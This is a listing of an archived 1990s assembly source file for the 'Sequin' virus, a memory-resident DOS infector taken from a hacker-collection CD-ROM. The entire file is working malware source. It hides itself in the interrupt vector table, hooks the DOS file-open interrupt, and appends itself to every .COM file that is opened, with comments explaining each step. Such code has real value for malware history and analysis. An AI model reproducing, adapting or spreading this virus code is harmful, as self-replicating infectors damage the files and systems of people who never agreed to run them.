home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / SEQUIN / SEQUIN.ASM next >
Encoding:
Assembly Source File  |  1995-01-03  |  6.0 KB  |  164 lines

  1. ;The Sequin Virus
  2. ;
  3. ;This is a memory resident COM infector that hides in the interrupt vector
  4. ;table, starting at 0:200H. COM files are infected when opened for any reason.
  5. ;
  6. ;(C) 1994 American Eagle Publications, Inc. All Rights Reserved.
  7. ;
  8.  
  9. .model  tiny
  10. .code
  11.  
  12. IVOFS   EQU     100H
  13.  
  14.         ORG     100H
  15.  
  16. ;This code checks to see if the virus is already in memory. If so, it just goes
  17. ;to execute the host. If not, it loads the virus in memory and then executes
  18. ;the host.
  19. SEQUIN:
  20.         call    IN_MEMORY                       ;is virus in memory?
  21.         jz      EXEC_HOST                       ;yes, execute the host
  22.  
  23.         mov     di,IVOFS + 100H                 ;nope, put it in memory
  24.         mov     si,100H
  25.         mov     cx,OFFSET END_SEQUIN - 105H
  26.         rep     movsb                           ;first move it there
  27.  
  28.         mov     bx,21H*4                        ;next setup int vector 21H
  29. ;       xor     ax,ax                           ;ax still 0 from IN_MEMORY
  30.         xchg    ax,es:[bx+2]                    ;get/set segment
  31.         mov     cx,ax
  32.         mov     ax,OFFSET INT_21 + IVOFS
  33.         xchg    ax,es:[bx]                      ;get/set offset
  34.         mov     di,OFFSET OLD_21 + IVOFS        ;and save old seg/offset
  35.         stosw
  36.         mov     ax,cx
  37.         stosw                                   ;ok, that's it, virus is resident
  38.  
  39. ;The following code executes the host by moving the five bytes stored in
  40. ;HSTBUF down to offset 100H and transferring control to it.
  41. EXEC_HOST:
  42.         push    ds                              ;restore es register
  43.         pop     es
  44.         mov     si,bp
  45.         add     si,OFFSET HSTBUF - 103H
  46.         mov     di,100H
  47.         push    di
  48.         mov     cx,5
  49.         rep     movsb
  50.         ret
  51.  
  52.  
  53. ;This routine checks to see if SEQUIN is already in memory by comparing the
  54. ;first 10 bytes of int 21H handler with what's sitting in memory in the
  55. ;interrupt vector table.
  56. IN_MEMORY:
  57.         xor     ax,ax                           ;set es segment = 0
  58.         mov     es,ax
  59.         mov     di,OFFSET INT_21 + IVOFS        ;di points to start of virus
  60.         mov     bp,sp                           ;get absolute return @
  61.         mov     si,[bp]                         ;to si
  62.         mov     bp,si                           ;save it in bp too
  63.         add     si,OFFSET INT_21 - 103H         ;point to int 21H handler here
  64.         mov     cx,10                           ;compare 10 bytes
  65.         repz    cmpsb
  66.         ret
  67.  
  68. ;This is the interrupt 21H handler. It looks for any attempts to open a file,
  69. ;and when found, the virus swings into action. Note that this piece of code is
  70. ;always executed from the virus in the interrupt table. Thus, all data
  71. ;addressing must add 100H to the compiled values to work.
  72. OLD_21  DD      ?
  73. INT_21:
  74.         cmp     ah,3DH                          ;opening a file?
  75.         je      INFECT_FILE                     ;yes, virus awakens
  76. I21E:   jmp     DWORD PTR cs:[OLD_21+IVOFS]     ;no, just let DOS have this int
  77.  
  78. ;Here we process requests to open files. This routine will open the file,
  79. ;check to see if the virus is there, and if not, add it. Then it will close the
  80. ;file and let the original DOS handler open it again.
  81. INFECT_FILE:
  82.         push    ax
  83.         push    si
  84.         push    dx
  85.         push    ds
  86.  
  87.         mov     si,dx                           ;now see if a COM file
  88. FO1:    lodsb
  89.         or      al,al                           ;null terminator?
  90.         jz      FEX                             ;yes, not a COM file
  91.         cmp     al,'.'                          ;a period?
  92.         jne     FO1                             ;no, get another byte
  93.         lodsw                                   ;yes, check for COM extent
  94.         or      ax,2020H
  95.         cmp     ax,'oc'
  96.         jne     FEX
  97.         lodsb
  98.         or      al,20H
  99.         cmp     al,'m'
  100.         jne     FEX                             ;exit if not COM file
  101.  
  102.         mov     ax,3D02H                        ;open file in read/write mode
  103.         pushf
  104.         call    DWORD PTR cs:[OLD_21 + IVOFS]
  105.         jc      FEX                             ;exit if error opening
  106.         mov     bx,ax                           ;put handle in bx
  107.         push    cs
  108.         pop     ds
  109.  
  110.         mov     ah,3FH                          ;read 5 bytes from start
  111.         mov     cx,5                            ;of file
  112.         mov     dx,OFFSET HSTBUF + IVOFS
  113.         int     21H
  114.  
  115.         mov     ax,WORD PTR [HSTBUF + IVOFS]    ;now check host for infectability
  116.         cmp     ax,'ZM'                         ;is it really an EXE?
  117.         je      FEX1
  118.         cmp     ax,37B4H                        ;is first instruction "mov ah,37"?
  119.         je      FEX1                            ;yes, already infected
  120.  
  121.         xor     cx,cx
  122.         xor     dx,dx
  123.         mov     ax,4202H                        ;move file pointer to end
  124.         int     21H
  125.         push    ax                              ;save file size
  126.  
  127.         mov     ah,40H                          ;and write virus to file
  128.         mov     dx,IVOFS + 100H
  129.         mov     cx,OFFSET END_SEQUIN - 100H
  130.         int     21H
  131.  
  132.         xor     cx,cx                           ;file pointer back to start
  133.         xor     dx,dx
  134.         mov     ax,4200H
  135.         int     21H
  136.  
  137.         mov     WORD PTR [HSTBUF + IVOFS],37B4H ;now set up first 5 bytes
  138.         mov     BYTE PTR [HSTBUF + IVOFS+2],0E9H;with mov ah,37/jmp SEQUIN
  139.         pop     ax
  140.         sub     ax,5
  141.         mov     WORD PTR [HSTBUF + IVOFS+3],ax
  142.  
  143.         mov     dx,OFFSET HSTBUF + IVOFS        ;write jump to virus to file
  144.         mov     cx,5
  145.         mov     ah,40H
  146.         int     21H
  147.  
  148. FEX1:   mov     ah,3EH                          ;then close the file
  149.         int     21H
  150.  
  151. FEX:    pop     ds
  152.         pop     dx
  153.         pop     si
  154.         pop     ax
  155.         jmp     I21E
  156.  
  157. HSTBUF:
  158.         mov     ax,4C00H
  159.         int     21H
  160.  
  161. END_SEQUIN:                                     ;label for end of the virus
  162.  
  163.         END     SEQUIN
  164.